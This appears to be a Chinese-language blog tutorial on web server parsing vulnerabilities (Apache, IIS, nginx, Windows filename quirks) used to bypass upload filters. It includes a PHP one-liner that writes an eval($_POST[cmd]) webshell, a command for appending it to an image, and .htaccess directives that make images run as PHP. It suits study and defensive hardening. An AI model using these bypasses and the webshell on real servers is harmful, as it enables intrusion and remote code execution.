Apache
文件名解析
与Windows不同,Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止,Apache官方解释是这样的,地址:http://httpd.apache.org/docs/current/mod/directive-dict.html,
In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.
Apache的文件名扩展名的定义写在conf/mime.types文件中。
我们建立如下文件来验证该规则。
1.jpg.aa
可以看到图片被正常解析了。
既然可以正常解析,那么我们可以利用它绕过一些规则,比如上传文件的黑名单,并使其正常解析,但是这里我自己测试,并没有像网上的资料一样正常解析:
<?php
phpinfo();
?>
将文件命名为phpinfo.php.xxx,按照解析规则,应该是可以正常解析的,但是这里我访问的时候php没有正常执行还是,而是把源码输出了:
这里看到一篇文章:http://www.cnblogs.com/milantgh/p/5116955.html
使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中 至少带有一个“.php”,否则将默认被作为txt/html文档处理。
那么module模式和fastcig模式又是什么呢?
https://www.imooc.com/article/37534
PHP结合Apache的方式有三种:
- 作为模块:PHP作为Apache的模块,当有php页面的请求时,Apache加载php模块,加载资源并执行php程序,将执行结果返还给客户端。
- CGI方式(注:CGI是一个协议,可以实现web服务程序和解释器通信):PHP作为一个独立的功能程序,当有php页面的请求时,Apache通过CGI方式启动一个PHP进程,PHP进程获取资源并执行后,将执行结果返回给Apache,Apache返回给客户端,之后Apache销毁该进程。
- FastCGI(注:FastCGI是CGI协议的一个扩展,可以实现将PHP作为一个独立进程,由PHP自身实现进程的创建和销毁):PHP作为一个独立程序,根据配置文件事前启动N个作业进程用来等待处理用户请求(类似于Apache的Prefork模型,规定默认启动进程数、最大启动进程数、最小启动进程数等等),当有php页面的请求时,Apache通过代理方式使用FastCGI协议将请求发送给PHP进程,并指定php网页文件所在位置(URL),PHP进程接收后为其分配一个作业进程并执行脚本。FastCGI好处在于可以使PHP服务作为一个独立服务器,通过Socket与httpd通信,可以使服务分离,可扩展性更强,并且无需像CGI一样需要Apache来控制PHP的启动,提高了Apache的工作效率。
很有意思的是,在这篇文章中:https://blog.csdn.net/wn314/article/details/77074477,作者也提出了自己的看法:
按照多后缀名的解析规则,认为该文件是php程序文件,把该文件作为php程序文件处理。怎么处理呢?交给php解释器,Apache本身并不懂php。而php解释器却有着和Apache不同的后缀解析规则,可能只认最后一个后缀,故而认为aaa.php.xxx不是php程序文件,拒绝执行。在我的测试环境中,php以模块(module)的模式工作于Apache的领导下。这种模式下php接受到领导Apache分配的任务——aaa.php.xxx,一看,不是php程序文件,没法执行,但也没有报错,而是返回了文件内容本身。php还可以以FASTCGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。
那么php是怎么识别文件的呢?作者找到了如下配置文件:
我在Apache的模块的配置文件中找到了php5.conf,内容如下:
这里我们看到,php采用正则的方式匹配,如果将正则表达式改成:
".+\.ph(p[345]?|t|tml)\."
程序即可执行。
所以利用条件为:
- 使用module模式,且正则符合条件
- 文件扩展名中至少带有一个.php
换行解析漏洞 (CVE-2017-15715)
其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
这里的知识点是正则中$可以匹配行尾或者换行符。
是Phith0n师傅在知识星球提到的:
这里用vulhub搭建环境:
启动后Apache运行在http://your-ip:8080,该环境上传逻辑如下:
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
上传一个名为1.php的文件,被拦截:
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:
访问成功解析:
不常见后缀名
上文说了通过正则表达式匹配,因此php识别的后缀名如下:
php、php3、php4、php5、phpt、phtml
利用该条件即可绕过黑名单检查。
分布式配置文件
一般配置文件的作用范围是全局,但是Apache提供了一种可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
文件生效的条件如下:
- Apache的配置文件中,要写上: AllowOverride All
- Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
需要注意Apache可能有多个配置文件,后加载的配置文件会覆盖先加载的配置文件中的配置。所以在某个配置文件中将AllowOverride设置成All,若是其后加载的某个配置文件中AllowOverride的设置是None,则也是没有用的。一般来说,先加载httpd.conf,再加载conf.d/中的配置文件,最后加载sites-enabled/中的配置文件。.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。
我们这里关注.htaccess文件可以修改MIME类型,这使得该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。
AddType application/x-httpd-php xxx
或者:
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
该语句会让Apache把shell.jpg文件解析为php文件
下面是一次测试,测试前已经打开Apache对.htaccess文件的支持。在网站根目录中准备如下文件树:
IIS
IIS <= 6.0
原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的
畸形目录解析
/xxxx.asp/xxx.jpg
即.asp结尾的目录下面,而被IIS当成可执行文件来解析分号文件解析
test.asp;.jpg
虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析,默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",可以绕过黑名单。
IIS 7.0&7.5畸形解析漏洞
默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
nginx
畸形解析漏洞
默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
空字节代码执行漏洞
在fast-cgi关闭的情况下,nginx版本:0.5., 0.6., 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问
xx.jpg%00.php
来执行其中的代码
文件名逻辑漏洞(CVE-2013-4547)
受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php",即让图片作为php文件解析
"/test.jpg \0.php"
配置不当目录穿越
如果绝对路径"/home/"的URL映射是网站目录"/files/",配置写成了"/files"
location /files {
alias /home/;
}
就可以访问"/files../",穿越路径,访问到绝对路径根目录"/"下的文件列表
Windows相关的文件名特性
大小写不敏感
也就是不区分大小写,所以已经在一个目录下创建了一个名为"test.txt"文件时,再尝试创建一个名为"Test.txt"的文件就会报错
文件名中不能出现的字符
Windows下的文件和文件夹名字中,不会出现以下9个英文字符:\ / : * ? " < > |
0x00—0x1F 范围间的ascii字符不能出现在文件和文件夹名字中
0x81—0xFE 范围间的ascii字符不能出现在文件名字中,否则可能会报错;但如果字符结合下一个字符生成一个多字节字符,就能正常创建一个文件了,如test. + chr(0x81) + jsp,会生成"test.乯sp"文件,但test. + chr(0x81) + 3sp,就会报错。
这和固定多字节字符编码前后"吃"字符,利用编码绕过防御(如宽字节注入)一类问题有异曲同工之妙。
会被去除的文件名最后一位字符
被循环去除的'.'号和空格字符
也就是说如果你创建下面的文件,其实都是指的同一个文件
"test.asp"
"Test.asp"
"TEST.ASP"
"test.asp."
"test.asp "
"TEST.asp ..."
"test.asp:1.jpg.."
"Test.asp .. ... "
"test.asp .. .�" (乱码字符是ascii值为 0xC8 的不可打印字符)
利用此特性和上面提到的":"号截断,可以建立一些不那么好删除的文件,如调用系统函数建立"test.:jpg"文件,因为":"截断,实质上会生成"test."文件,又因为Windows系统会吃掉".",所以,右击删除,识别不了该文件。如下图,尝试删除掉 "/test/test."文件异常
可通过保存下面命令到批处理文件,将正常删不掉的文件拖到批处理上删除
DEL /F /A /Q \\?\%1RD /S /Q \\?\%1
0x7F—0xFE 范围间字符
0x7F—0xFE 范围间的字符如果要是出现在文件名的(不包括文件夹名)最后一位,会被去除。
即创建名为test.asp + chr(0x7F)的文件时,实际上会创建一个"test.asp"文件,最后一个ascii码为0x7F的字符会被去除。
要注意的是:
- '.'和空格都是会被系统循环检测的,所以即使文件名后面出现多个空格,都会被循环去除
- 0x7F—0xFE间的ascii字符,只会被系统检测一次,所以只能出现一次且必须在文件名最后一位才会被去除,否则会报错
- 通过比较,可以发现0x7F和0x80这两个字符比较特殊:当出现在文件名最后一位时会被去除,可以正常创建文件;但是出现在其它位置时,就会报错
关于文件名的最大长度
因为搜索发现解释并不唯一 :),所以Fuzzing下Windows系统文件名+文件扩展名的最大长度。
在Windows 10 64位上的测试,用"F"做字符,发现文件名+文件扩展名的总长度是255;
然后把"F"换成u"夜",发现文件名中的"夜"字个数,加上固定的扩展名 位数,正好也是255;
再在Windows 7 普通家庭版32位 上测试,发现结果是228
结果很奇怪,暂时保留疑问
短文件名的Web访问
测试还有个有趣的发现:
- 只要文件名中带有空格字符,如"1 .txt",即使文件名很短,也是会存在对应的短文件名的
- 这种特殊的短文件名在操作系统层面和其它短文名性质相同,但在正常的短文件名可以通过Web方式访问到的情况下,这种短文件名通过Web方式是访问不到的
NTFS流冒号截断
利用冒号":"截断文件名,可以生成空文件。
如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,
":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。
如果":"是文件名的最后一个字符,则不会截断,会报错
一个文件名中如果包含1个以上的":"号,也是会报错
PHP 和 Windows系统的共同作用特性
以下几个符号在php和Windows环境的共同作用下,有等价的效果:
双引号">" 点号"."
大于符号">" 问号"?"
小于符号"<" 星号"*"
所以先上传一个名为 test.php:.jpg 的文件,实际会在Windows系统上产生一个test.php的空文件;
然后再次上传一个名为 test.<<< 文件,就可以追加shell内容到test.php文件中。